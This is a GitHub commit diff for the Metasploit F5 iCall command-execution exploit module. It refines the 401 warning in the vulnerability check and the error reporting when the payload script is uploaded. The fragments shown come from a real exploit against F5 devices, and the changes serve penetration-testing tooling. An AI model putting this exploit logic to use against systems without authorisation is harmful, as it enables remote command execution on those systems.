Skip to content

Commit bcdf2ce

Browse files
committed
Better handling of invulnerable case; fix 401 case
1 parent 26c8836 commit bcdf2ce

File tree

1 file changed

+8
-4
lines changed

1 file changed

+8
-4
lines changed

modules/exploits/linux/http/f5_icall_cmd.rb

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -208,7 +208,7 @@ def check
208208
if res && res.code == 500 && res.body =~ /path is empty/
209209
return Exploit::CheckCode::Appears
210210
elsif res && res.code == 401
211-
print_warning("HTTP/#{res.proto} #{res.status} #{res.message} -- incorrect USERNAME or PASSWORD?")
211+
print_warning("HTTP/#{res.proto} #{res.code} #{res.message} -- incorrect USERNAME or PASSWORD?")
212212
return Exploit::CheckCode::Unknown
213213
else
214214
return Exploit::CheckCode::Safe
@@ -229,9 +229,13 @@ def exploit
229229

230230
script_name = "script-#{Rex::Text.rand_text_alphanumeric(16)}"
231231
print_status("Uploading payload script #{script_name}")
232-
create_script_res = create_script(script_name, cmd)
233-
unless create_script_res && create_script_res.code == 200
234-
print_error("Upload payload script failed")
232+
unless create_script_res = create_script(script_name, cmd)
233+
print_error("No response when uploading payload script")
234+
return false
235+
end
236+
unless create_script_res.code == 200
237+
print_error("Upload payload script failed -- HTTP/#{create_script_res.proto} "\
238+
"#{create_script_res.code} #{create_script_res.message}")
235239
return false
236240
end
237241
unless script_exists?(script_name)

0 commit comments

Comments
 (0)